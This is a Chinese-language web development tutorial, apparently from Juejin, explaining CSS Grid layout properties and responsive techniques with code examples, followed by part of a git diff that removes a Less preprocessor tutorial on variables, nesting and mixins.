则是一列 - - - -![行和列](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895918ee0ecb6~tplv-t2oaga2asx-watermark.awebp) - - - -网格单元:一个网格单元是在一个网格元素中最小的单位, 从概念上来讲其实它和表格的一个单元格很像。上图中 `One`、`Two`、`Three`、`Four`...都是一个个的网格单元 - -网格线:划分网格的线,称为"网格线"。应该注意的是,当我们定义网格时,我们定义的是网格轨道,而不是网格线。Grid 会为我们创建编号的网格线来让我们来定位每一个网格元素。m 列有 m + 1 根垂直的网格线,n 行有 n + 1 跟水平网格线。比如上图示例中就有 4 根垂直网格线。一般而言,是从左到右,从上到下,1,2,3 进行编号排序。当然也可以从右到左,从下到上,按照 -1,-2,-3...顺序进行编号排序 - - - -![网格线](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591934e1560~tplv-t2oaga2asx-watermark.awebp) - - - -## 容器属性介绍 - -`Grid` 布局相关的属性以及值众多,需要记忆的不少,建议可以跟 `demo` 一起结合起来,边敲代码边理解,再利用一些空闲时间记忆一下。笔者会在介绍每个属性的时候,做个小 `demo` 演示,建议大家可以自己修改看看效果加深记忆 - -`Grid` 布局属性可以分为两大类,一类是容器属性,一类是项目属性。我们先来看容器属性 - -### display 属性 - -[display 属性演示](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FwvMZwqY) - -我们通过在元素上声明 `display:grid` 或 `display:inline-grid` 来创建一个网格容器。声明 `display:grid` 则该容器是一个块级元素,设置成 `display: inline-grid` 则容器元素为行内元素 - -``` -.wrapper { - display: grid; -} -复制代码 -``` - - - -![块级元素](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591baa442ef~tplv-t2oaga2asx-watermark.awebp) - - - -``` -.wrapper-1 { - display: inline-grid; -} -复制代码 -``` - - - -![行内属性](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c03b6883~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-template-columns 属性和 grid-template-rows 属性 - -[grid-template-columns 和 grid-template-rows 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FBajEBYq%3Feditors%3D1100) - -`grid-template-columns` 属性设置列宽,`grid-template-rows` 属性设置行高,这两个属性在 `Grid` 布局中尤为重要,它们的值是有多种多样的,而且它们的设置是比较相似的,下面针对 `grid-template-columns` 属性进行讲解 - -**固定的列宽和行高** - -``` -.wrapper { - display: grid; - /* 声明了三列,宽度分别为 200px 100px 200px */ - grid-template-columns: 200px 100px 200px; - grid-gap: 5px; - /* 声明了两行,行高分别为 50px 50px */ - grid-template-rows: 50px 50px; -} -复制代码 -``` - -以上表示固定列宽为 200px 100px 200px,行高为 50px 50px - - - -![固定行高和列宽](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c0fc1214~tplv-t2oaga2asx-watermark.awebp) - - - -**repeat() 函数**:可以简化重复的值。该函数接受两个参数,第一个参数是重复的次数,第二个参数是所要重复的值。比如上面行高都是一样的,我们可以这么去实现,实际效果是一模一样的 - -``` -.wrapper-1 { - display: grid; - grid-template-columns: 200px 100px 200px; - grid-gap: 5px; - /* 2行,而且行高都为 50px */ - grid-template-rows: repeat(2, 50px); -} -复制代码 -``` - -**auto-fill 关键字**:表示自动填充,让一行(或者一列)中尽可能的容纳更多的单元格。`grid-template-columns: repeat(auto-fill, 200px)` 表示列宽是 200 px,但列的数量是不固定的,只要浏览器能够容纳得下,就可以放置元素,代码以及效果如下图所示: - -``` -.wrapper-2 { - display: grid; - grid-template-columns: repeat(auto-fill, 200px); - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591c300e81a~tplv-t2oaga2asx-watermark.awebp) - - - -**fr 关键字**:`Grid` 布局还引入了一个另外的长度单位来帮助我们创建灵活的网格轨道。`fr` 单位代表网格容器中可用空间的一等份。`grid-template-columns: 200px 1fr 2fr` 表示第一个列宽设置为 200px,后面剩余的宽度分为两部分,宽度分别为剩余宽度的 1/3 和 2/3。代码以及效果如下图所示: - -``` -.wrapper-3 { - display: grid; - grid-template-columns: 200px 1fr 2fr; - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591ccc256d1~tplv-t2oaga2asx-watermark.awebp) - - - -**minmax() 函数**:我们有时候想给网格元素一个最小和最大的尺寸,`minmax()` 函数产生一个长度范围,表示长度就在这个范围之中都可以应用到网格项目中。它接受两个参数,分别为最小值和最大值。`grid-template-columns: 1fr 1fr minmax(300px, 2fr)` 的意思是,第三个列宽最少也是要 300px,但是最大不能大于第一第二列宽的两倍。代码以及效果如下: - -``` -.wrapper-4 { - display: grid; - grid-template-columns: 1fr 1fr minmax(300px, 2fr); - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591dc05edac~tplv-t2oaga2asx-watermark.awebp) - - - -**auto 关键字**:由浏览器决定长度。通过 `auto` 关键字,我们可以轻易实现三列或者两列布局。`grid-template-columns: 100px auto 100px` 表示第一第三列为 100px,中间由浏览器决定长度,代码以及效果如下: - -``` -.wrapper-5 { - display: grid; - grid-template-columns: 100px auto 100px; - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591f2146e1d~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-row-gap 属性、grid-column-gap 属性以及 grid-gap 属性 - -[grid-row-gap 属性、grid-column-gap 属性以及 grid-gap 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FjOWRNeg) - -`grid-row-gap` 属性、`grid-column-gap` 属性分别设置行间距和列间距。`grid-gap` 属性是两者的简写形式。 - -`grid-row-gap: 10px` 表示行间距是 10px,`grid-column-gap: 20px` 表示列间距是 20px。`grid-gap: 10px 20px` 实现的效果是一样的 - -``` -.wrapper { - display: grid; - grid-template-columns: 200px 100px 100px; - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} -复制代码 -.wrapper-1 { - display: grid; - grid-template-columns: 200px 100px 100px; - grid-auto-rows: 50px; - grid-row-gap: 10px; - grid-column-gap: 20px; -} -复制代码 -``` - -以上两种写法效果是一样的。 - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389591f78de6f2~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-template-areas 属性 - -[grid-area 以及 grid-template-areas演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FRwrObEJ%3Feditors%3D1100) - -`grid-template-areas` 属性用于定义区域,一个区域由一个或者多个单元格组成 - -一般这个属性跟网格元素的 `grid-area` 一起使用,我们在这里一起介绍。 `grid-area` 属性指定项目放在哪一个区域 - -``` -.wrapper { - display: grid; - grid-gap: 10px; - grid-template-columns: 120px 120px 120px; - grid-template-areas: - ". header header" - "sidebar content content"; - background-color: #fff; - color: #444; -} -复制代码 -``` - -上面代码表示划分出 6 个单元格,其中值得注意的是 `.` 符号代表空的单元格,也就是没有用到该单元格。 - -``` -.sidebar { - grid-area: sidebar; -} - -.content { - grid-area: content; -} - -.header { - grid-area: header; -} -复制代码 -``` - -以上代码表示将类 `.sidebar` `.content` `.header`所在的元素放在上面 `grid-template-areas` 中定义的 `sidebar` `content` `header` 区域中 - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895920bbe824a~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-auto-flow 属性 - -[grid-auto-flow 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FMWKRWKj%3Feditors%3D1100) - -`grid-auto-flow` 属性控制着自动布局算法怎样运作,精确指定在网格中被自动布局的元素怎样排列。默认的放置顺序是"先行后列",即先填满第一行,再开始放入第二行,即下图英文数字的顺序 `one`,`two`,`three`...。这个顺序由 `grid-auto-flow` 属性决定,默认值是 `row`。 - -``` -.wrapper { - display: grid; - grid-template-columns: 100px 200px 100px; - grid-auto-flow: row; - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895921548265c~tplv-t2oaga2asx-watermark.awebp) - - - -细心的同学可能发现了一个问题,就是第五个项目和第六个项目之间有个空白(如下图所示),这个是由于第六块的长度大于了空白处的长度,被挤到了下一行导致的。在实际应用中,我们可能想让下面长度合适的填满这个空白,这个时候可以设置 `grid-auto-flow: row dense`,表示尽可能填满表格。代码以及效果如下所示: - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592211e1d6b~tplv-t2oaga2asx-watermark.awebp) - - - -``` -.wrapper-2 { - display: grid; - grid-template-columns: 100px 200px 100px; - grid-auto-flow: row dense; - grid-gap: 5px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895923612a19b~tplv-t2oaga2asx-watermark.awebp) - - - -可以设置 `grid-auto-flow: column`,表示先列后行,代码以及效果如下图所示: - -``` -.wrapper-1 { - display: grid; - grid-auto-columns: 100px; - grid-auto-flow: column; - grid-gap: 5px; - grid-template-rows: 50px 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895923f11dd83~tplv-t2oaga2asx-watermark.awebp) - - - -### justify-items 属性、align-items 属性以及 place-items 属性 - -[justify-items 属性、align-items 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FzYrXYrz%3Feditors%3D1100) - -`justify-items` 属性设置单元格内容的水平位置(左中右),`align-items` 属性设置单元格的垂直位置(上中下) - -下面以 justify-items 属性为例进行讲解,align-items 属性同理,只是方向为垂直方向。它们都有如下属性: - -``` -.container { - justify-items: start | end | center | stretch; - align-items: start | end | center | stretch; -} -复制代码 -``` - -其代码实现以及效果如下: - -``` -.wrapper, .wrapper-1, .wrapper-2, .wrapper-3 { - display: grid; - grid-template-columns: 100px 200px 100px; - grid-gap: 5px; - grid-auto-rows: 50px; - justify-items: start; -} -.wrapper-1 { - justify-items: end; -} -.wrapper-2 { - justify-items: center; -} -.wrapper-3 { - justify-items: stretch; -} -复制代码 -``` - -- start:对齐单元格的起始边缘 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959244947d96~tplv-t2oaga2asx-watermark.awebp) - - - -- end:对齐单元格的结束边缘 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592560e3fc2~tplv-t2oaga2asx-watermark.awebp) - - - -- center:单元格内部居中 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895925bd879fa~tplv-t2oaga2asx-watermark.awebp) - - - -- stretch:拉伸,占满单元格的整个宽度(默认值) - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959270057d0c~tplv-t2oaga2asx-watermark.awebp) - - - -### justify-content 属性、align-content 属性以及 place-content 属性 - -[justify-content 属性、align-content 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FqBbwBZx%3Feditors%3D1100) - -`justify-content` 属性是整个内容区域在容器里面的水平位置(左中右),`align-content` 属性是整个内容区域的垂直位置(上中下)。它们都有如下的属性值。 - -``` -.container { - justify-content: start | end | center | stretch | space-around | space-between | space-evenly; - align-content: start | end | center | stretch | space-around | space-between | space-evenly; -} -复制代码 -``` - -下面以 `justify-content` 属性为例进行讲解,`align-content` 属性同理,只是方向为垂直方向 - -- start - 对齐容器的起始边框 -- end - 对齐容器的结束边框 -- center - 容器内部居中 - -``` -.wrapper, .wrapper-1, .wrapper-2, .wrapper-3, .wrapper-4, .wrapper-5, .wrapper-6 { - display: grid; - grid-template-columns: 100px 200px 100px; - grid-gap: 5px; - grid-auto-rows: 50px; - justify-content: start; -} -.wrapper-1 { - justify-content: end; -} -.wrapper-2 { - justify-content: center; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895926d20f5d6~tplv-t2oaga2asx-watermark.awebp) - - - -- space-around - 每个项目两侧的间隔相等。所以,项目之间的间隔比项目与容器边框的间隔大一倍 -- space-between - 项目与项目的间隔相等,项目与容器边框之间没有间隔 -- space-evenly - 项目与项目的间隔相等,项目与容器边框之间也是同样长度的间隔 -- stretch - 项目大小没有指定时,拉伸占据整个网格容器 - -``` -.wrapper-3 { - justify-content: space-around; -} -.wrapper-4 { - justify-content: space-between; -} -.wrapper-5 { - justify-content: space-evenly; -} -.wrapper-6 { - justify-content: stretch; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895927ba770c4~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-auto-columns 属性和 grid-auto-rows 属性 - -[grid-auto-columns 属性和 grid-auto-rows 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FzYrXvYZ%3Feditors%3D1100) - -在讲 `grid-auto-columns` 属性和 `grid-auto-rows` 属性之前,先来看看隐式和显式网格的概念 - -**隐式和显式网格**:显式网格包含了你在 `grid-template-columns` 和 `grid-template-rows` 属性中定义的行和列。如果你在网格定义之外又放了一些东西,或者因为内容的数量而需要的更多网格轨道的时候,网格将会在隐式网格中创建行和列 - -假如有多余的网格(也就是上面提到的隐式网格),那么它的行高和列宽可以根据 `grid-auto-columns` 属性和 `grid-auto-rows` 属性设置。它们的写法和`grid-template-columns` 和 `grid-template-rows` 完全相同。如果不指定这两个属性,浏览器完全根据单元格内容的大小,决定新增网格的列宽和行高 - -``` -.wrapper { - display: grid; - grid-template-columns: 200px 100px; -/* 只设置了两行,但实际的数量会超出两行,超出的行高会以 grid-auto-rows 算 */ - grid-template-rows: 100px 100px; - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} -复制代码 -``` - -`grid-template-columns` 属性和 `grid-template-rows` 属性只是指定了两行两列,但实际有九个元素,就会产生隐式网格。通过 `grid-auto-rows` 可以指定隐式网格的行高为 50px - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895927d99af1c~tplv-t2oaga2asx-watermark.awebp) - - - -## 项目属性介绍 - -### grid-column-start 属性、grid-column-end 属性、grid-row-start 属性以及grid-row-end 属性 - -[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FPoZgopr) - -可以指定网格项目所在的四个边框,分别定位在哪根网格线,从而指定项目的位置 - -- grid-column-start 属性:左边框所在的垂直网格线 -- grid-column-end 属性:右边框所在的垂直网格线 -- grid-row-start 属性:上边框所在的水平网格线 -- grid-row-end 属性:下边框所在的水平网格线 - -``` -.wrapper { - display: grid; - grid-template-columns: repeat(3, 1fr); - grid-gap: 20px; - grid-auto-rows: minmax(100px, auto); -} -.one { - grid-column-start: 1; - grid-column-end: 2; - background: #19CAAD; -} -.two { - grid-column-start: 2; - grid-column-end: 4; - grid-row-start: 1; - grid-row-end: 2; - /* 如果有重叠,就使用 z-index */ - z-index: 1; - background: #8CC7B5; -} -.three { - grid-column-start: 3; - grid-column-end: 4; - grid-row-start: 1; - grid-row-end: 4; - background: #D1BA74; -} -.four { - grid-column-start: 1; - grid-column-end: 2; - grid-row-start: 2; - grid-row-end: 5; - background: #BEE7E9; -} -.five { - grid-column-start: 2; - grid-column-end: 2; - grid-row-start: 2; - grid-row-end: 5; - background: #E6CEAC; -} -.six { - grid-column: 3; - grid-row: 4; - background: #ECAD9E; -} -复制代码 -``` - -上面代码中,类 `.two` 所在的网格项目,垂直网格线是从 2 到 4,水平网格线是从 1 到 2。其中它跟 `.three` (垂直网格线是从3 到 4,水平网格线是从 1 到 4) 是有冲突的。可以设置 `z-index` 去决定它们的层级关系 - - - -![img](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/173895928bc7e88e~tplv-t2oaga2asx-watermark.awebp) - - - -### grid-area 属性 - -`grid-area` 属性指定项目放在哪一个区域,在上面介绍 `grid-template-areas` 的时候有提到过,这里不再具体展开,具体的使用可以参考演示地址: - -[grid-area 以及 grid-template-areas 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FRwrObEJ) - -### justify-self 属性、align-self 属性以及 place-self 属性 - -[justify-self 属性/ align-self 属性/ place-self 属性演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FZEQZEJK%3Feditors%3D1100) - -`justify-self` 属性设置单元格内容的水平位置(左中右),跟 `justify-items` 属性的用法完全一致,但只作用于单个项目 - -`align-self` 属性设置单元格内容的垂直位置(上中下),跟align-items属性的用法完全一致,也是只作用于单个项目 - -两者很相像,这里只拿 `justify-self` 属性演示,`align-self` 属性同理,只是作用于垂直方向。`place-self` 是设置 `align-self` 和 `justify-self` 的简写形式,这里也不重复介绍。 - -``` -.item { - justify-self: start | end | center | stretch; - align-self: start | end | center | stretch; -} -复制代码 -.item { - justify-self: start; -} -.item-1 { - justify-self: end; -} -.item-2 { - justify-self: center; -} -.item-3 { - justify-self: stretch; -} -复制代码 -``` - -- start:对齐单元格的起始边缘 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/1738959292160e78~tplv-t2oaga2asx-watermark.awebp) - - - -- end:对齐单元格的结束边缘 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592a0d5a3c0~tplv-t2oaga2asx-watermark.awebp) - - - -- center:单元格内部居中 - - ![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592b1378c8d~tplv-t2oaga2asx-watermark.awebp) - - - -- stretch:拉伸,占满单元格的整个宽度(默认值) - - ![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592b895f0ed~tplv-t2oaga2asx-watermark.awebp) - - - -## Grid 实战——实现响应式布局 - -经过上面的介绍,相信大家都可以看出,Grid 是非常强大的。一些常见的 CSS 布局,如居中,两列布局,三列布局等等是很容易实现的。我们接下来看看 Grid 布局是如何实现响应式布局的 - -### fr 实现等分响应式 - -[fr 实现等分响应式](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FwvMZKpB%3Feditors%3D1100) - -`fr` 等分单位,可以将容器的可用空间分成想要的多个等分空间。利用这个特性,我们能够轻易实现一个等分响应式。`grid-template-columns: 1fr 1fr 1fr` 表示容器分为三等分 - -```css -.wrapper { - margin: 50px; - display: grid; - grid-template-columns: 1fr 1fr 1fr; - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592bf7e44dd~tplv-t2oaga2asx-watermark.awebp) - - - -### repeat + auto-fit——固定列宽,改变列数量 - -等分布局并不只有 `Grid` 布局才有,像 `flex` 布局也能轻松实现,接下来看看更高级的响应式 - -上面例子的始终都是三列的,但是需求往往希望我们的网格能够固定列宽,并根据容器的宽度来改变列的数量。这个时候,我们可以用到上面提到 `repeat()` 函数以及 `auto-fit` 关键字。`grid-template-columns: repeat(auto-fit, 200px)` 表示固定列宽为 200px,数量是自适应的,只要容纳得下,就会往上排列,代码以及效果实现如下: - -[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FeYJopVE%3Feditors%3D1100) - -```CSS -.wrapper { - margin: 50px; - display: grid; - grid-template-columns: repeat(auto-fit, 200px); - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592c297495a~tplv-t2oaga2asx-watermark.awebp) - - - -### repeat+auto-fit+minmax 去掉右侧空白 - -上面看到的效果中,右侧通常会留下空白,这是我们不希望看到的。如果列的宽度也能在某个范围内自适应就好了。`minmax()` 函数就帮助我们做到了这点。将 `grid-template-columns: repeat(auto-fit, 200px)` 改成 `grid-template-columns: repeat(auto-fit, minmax(200px, 1fr))` 表示列宽至少 200px,如果还有空余则一起等分。代码以及效果如下所示: - -[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FdyGLYdQ) - -``` -.wrapper { - margin: 50px; - display: grid; - grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} -复制代码 -``` - - - -![auto-auto-minmax.gif](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592cc3c2bf9~tplv-t2oaga2asx-watermark.awebp) - - - -### repeat+auto-fit+minmax-span-dense 解决空缺问题 - -似乎一切进行得很顺利,但是某天 UI 来说,每个网格元素的长度可能不相同,这也简单,通过 `span` 关键字进行设置网格项目的跨度,`grid-column-start: span 3`,表示这个网格项目跨度为 3。具体的代码与效果如下所示: - -``` -.item-3 { - grid-column-start: span 3; -} -复制代码 -``` - -[演示地址](https://link.juejin.cn?target=https%3A%2F%2Fcodepen.io%2Fgpingfeng%2Fpen%2FBajEoxy%3Feditors%3D1100) - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592f9da3763~tplv-t2oaga2asx-watermark.awebp) - - - -不对,怎么右侧又有空白了?原来是有一些长度太长了,放不下,这个时候就到我们的 `dense` 关键字出场了。`grid-auto-flow: row dense` 表示尽可能填充,而不留空白,代码以及效果如下所示: - -``` -.wrapper, .wrapper-1 { - margin: 50px; - display: grid; - grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); - grid-gap: 10px 20px; - grid-auto-rows: 50px; -} - -.wrapper-1 { - grid-auto-flow: row dense; -} -复制代码 -``` - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389593009f7fe7~tplv-t2oaga2asx-watermark.awebp) - - - -## Grid 布局兼容性 - -最后,聊聊 `Grid` 布局兼容性问题,在 [caniuse](https://link.juejin.cn?target=https%3A%2F%2Fcaniuse.com%2F%23search%3Dgrid) 中,我们可以看到的结果如下,总体兼容性还不错,但在 IE 10 以下不支持。个人建议在公司的内部系统运用起来是没有问题的,但 TOC 的话,可能目前还是不太合适 - - - -![image](https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2020/7/26/17389592fa541366~tplv-t2oaga2asx-watermark.awebp) - -## 参考 - -[常见的 Grid 布局用例](https://link.juejin.cn/?target=https%3A%2F%2Fgridbyexample.com%2Fexamples%2F) - -[CSS Grid 网格布局教程](https://link.juejin.cn/?target=https%3A%2F%2Fwww.ruanyifeng.com%2Fblog%2F2019%2F03%2Fgrid-layout-tutorial.html) - -[Grid 布局草案](https://link.juejin.cn/?target=https%3A%2F%2Fdrafts.csswg.org%2Fcss-grid%2F%23intro) - -[一行 CSS 代码实现响应式布局 – 使用 Grid 实现的响应式布局](https://link.juejin.cn/?target=https%3A%2F%2Fwww.html.cn%2Farchives%2F8706) - -[MDN](https://link.juejin.cn/?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FCSS%2FCSS_Grid_Layout%2FBasic_Concepts_of_Grid_Layout) diff --git "a/src/CSS/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" "b/src/CSS/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" deleted file mode 100644 index 1c089f99..00000000 --- "a/src/CSS/Less \347\237\245\350\257\206\347\202\271\346\261\207\346\200\273.md" +++ /dev/null @@ -1,1157 +0,0 @@ ---- -date: 2021-04-24 -category: -- CSS -- 前端 ---- - -> 作者:SimonMa -> 链接:https://juejin.cn/post/6844903520441729037 -# Less 知识点汇总 - -## 变量 - -**值变量** - -```CSS -/* Less */ -@color: #999; -@bgColor: skyblue;//不要添加引号 -@width: 50%; -#wrap { - color: @color; - background: @bgColor; - width: @width; -} - -/* 生成后的 CSS */ -#wrap { - color: #999; - background: skyblue; - width: 50%; -} -``` - -以 `@` 开头 定义变量,并且使用时 直接 键入 `@`名称。 - -在平时工作中,我们就可以把 常用的变量 封装到一个文件中,这样利于代码组织维护。 - -```CSS -@lightPrimaryColor: #c5cae9; -@textPrimaryColor: #fff; -@accentColor: rgb(99, 137, 185); -@primaryTextColor: #646464; -@secondaryTextColor: #000; -@dividerColor: #b6b6b6; -@borderColor: #dadada; -``` - -**选择器变量** - -让 选择器 变成 动态 - -```CSS -/* Less */ -@mySelector: #wrap; -@Wrap: wrap; -@{mySelector}{ //变量名 必须使用大括号包裹 - color: #999; - width: 50%; -} -.@{Wrap}{ - color:#ccc; -} -#@{Wrap}{ - color:#666; -} - -/* 生成的 CSS */ -#wrap{ - color: #999; - width: 50%; -} -.wrap{ - color:#ccc; -} -#wrap{ - color:#666; -} -``` - -**属性变量** - -可减少代码书写量 - -```CSS -/* Less */ -@borderStyle: border-style; -@Soild:solid; -#wrap{ - @{borderStyle}: @Soild;//变量名 必须使用大括号包裹 -} - -/* 生成的 CSS */ -#wrap{ - border-style:solid; -} -``` - -**url 变量** - -项目结构改变时,修改其变量即可。 - -```CSS -/* Less */ -@images: "../img";//需要加引号 -body { - background: url("@{images}/dog.png");//变量名 必须使用大括号包裹 -} - -/* 生成的 CSS */ -body { - background: url("../img/dog.png"); -} - - -``` - -**声明变量** - -有点类似于 下面的 混合方法 - -- 结构: @name: { 属性: 值 ;}; -- 使用:@name(); - -```CSS -/* Less */ -@background: {background:red;}; -#main{ - @background(); -} -@Rules:{ - width: 200px; - height: 200px; - border: solid 1px red; -}; -#con{ - @Rules(); -} - -/* 生成的 CSS */ -#main{ - background:red; -} -#con{ - width: 200px; - height: 200px; - border: solid 1px red; -} - -``` - -**变量运算** - -不得不提的是,Less 的变量运算完全超出我的期望,十分强大。 - -- 加减法时 以第一个数据的单位为基准 -- 乘除法时 注意单位一定要统一 - -```CSS -/* Less */ -@width:300px; -@color:#222; -#wrap{ - width:@width-20; - height:@width-20*5; - margin:(@width-20)*5; - color:@color*2; - background-color:@color + #111; -} - -/* 生成的 CSS */ -#wrap{ - width:280px; - height:200px; - margin:1400px; - color:#444; - background-color:#333; -} -``` - -**变量作用域** - -一句话理解就是:**就近原则**,不要跟我提闭包。 - -*借助官网的Demo* - -```CSS -/* Less */ -@var: @a; -@a: 100%; -#wrap { - width: @var; - @a: 9%; -} - -/* 生成的 CSS */ -#wrap { - width: 9%; -} -``` - -**用变量去定义变量** - -```CSS -/* Less */ -@fnord: "I am fnord."; -@var: "fnord"; -#wrap::after{ - content: @@var; //将@var替换为其值 content:@fnord; -} -/* 生成的 CSS */ -#wrap::after{ - content: "I am fnord."; -} -``` - - - -## 嵌套 - - - -**& 的妙用** - -& :代表的上一层选择器的名字,此例便是`header`。 - -``` -/* Less */ -#header{ - &:after{ - content:"Less is more!"; - } - .title{ - font-weight:bold; - } - &_content{//理解方式:直接把 & 替换成 #header - margin:20px; - } -} -/* 生成的 CSS */ -#header::after{ - content:"Less is more!"; -} -#header .title{ //嵌套了 - font-weight:bold; -} -#header_content{//没有嵌套! - margin:20px; -} - -``` - -**媒体查询** - -在以往的工作中,我们使用 媒体查询,都要把一个元素 分开写 - -``` -#wrap{ - width:500px; -} -@media screen and (max-width:768px){ - #wrap{ - width:100px; - } -} - -``` - -Less 提供了一个十分便捷的方式 - -``` -/* Less */ -#main{ - //something... - - @media screen{ - @media (max-width:768px){ - width:100px; - } - } - @media tv { - width:2000px; - } -} -/* 生成的 CSS */ -@media screen and (maxwidth:768px){ - #main{ - width:100px; - } -} -@media tv{ - #main{ - width:2000px; - } -} - -``` - -唯一的缺点就是 每一个元素都会编译出自己 `@media` 声明,并不会合并。 - -**实战技巧** - -可以借助 Less 在元素中,去定义自己的私有样式。 - -``` -/* Less */ -#main{ - // something.. - &.show{ - display:block; - } -} -.show{ - display:none; -} - -const main = document.getElementById("main"); -main.classList.add("show"); - -``` - -结果: - -``` -#main.show{ - display:block; -} -.show{ - display:none; //会被覆盖。 -} -``` - -## 混合方法 - -1. **无参数方法** - - 方法犹如 声明的集合,使用时 直接键入名称即可。 - - ``` - /* Less */ - .card { // 等价于 .card() - background: #f6f6f6; - -webkit-box-shadow: 0 1px 2px rgba(151, 151, 151, .58); - box-shadow: 0 1px 2px rgba(151, 151, 151, .58); - } - #wrap{ - .card;//等价于.card(); - } - /* 生成的 CSS */ - #wrap{ - background: #f6f6f6; - -webkit-box-shadow: 0 1px 2px rgba(151, 151, 